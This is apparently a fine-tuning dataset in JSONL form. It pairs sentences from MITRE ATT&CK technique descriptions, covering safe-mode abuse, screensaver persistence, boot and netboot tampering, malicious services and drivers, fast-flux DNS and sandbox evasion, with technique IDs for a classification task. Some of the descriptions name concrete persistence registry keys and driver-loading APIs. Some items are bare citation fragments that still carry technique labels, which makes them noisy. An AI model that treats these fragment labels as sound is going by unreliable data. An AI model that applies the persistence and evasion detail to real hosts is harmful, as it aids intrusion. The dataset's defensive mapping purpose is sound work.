T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Windows safe mode to disable endpoint defenses.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Windows safe mode to disable endpoint defenses. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Safe mode starts up the Windows operating system with a limited set of drivers and services.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Safe mode starts up the Windows operating system with a limited set of drivers and services. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are two versions of safe mode: Safe Mode and Safe Mode with Networking.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are two versions of safe mode: Safe Mode and Safe Mode with Networking. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot.", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)).", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": ": Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation:", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: : Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cybereason Nocturnus MedusaLocker 2020)(Citation:", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cybereason Nocturnus MedusaLocker 2020)(Citation: ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "BleepingComputer REvil 2021)", "output": "T1562.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: BleepingComputer REvil 2021) ### Response: T1562.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver)", "output": "T1180", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) ### Response: T1180."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.", "output": "T1180", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. ### Response: T1180."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.", "output": "T1180", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. ### Response: T1180."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: ESET Gazer Aug 2017)", "output": "T1180", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: ESET Gazer Aug 2017) ### Response: T1180."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the booting process of a computer, firmware and various startup services are loaded before the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the booting process of a computer, firmware and various startup services are loaded before the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image.", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1542.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1542.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When operating systems boot up, they can start processes that perform background system functions.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When operating systems boot up, they can start processes that perform background system functions. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use services to install and execute malicious drivers.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use services to install and execute malicious drivers. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation:", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 AcidBox June 2020)", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 AcidBox June 2020) ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation:", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye POSHSPY April 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Sednit 2017 Activity)", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity) ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity) ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", "output": "T1568.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel. ### Response: T1568.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various means to detect and avoid virtualization and analysis environments.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various means to detect and avoid virtualization and analysis environments. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. ### Response: T1497."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment.", "output": "T1497", "text": "Below is an instruction that describes a task, paired with an input that 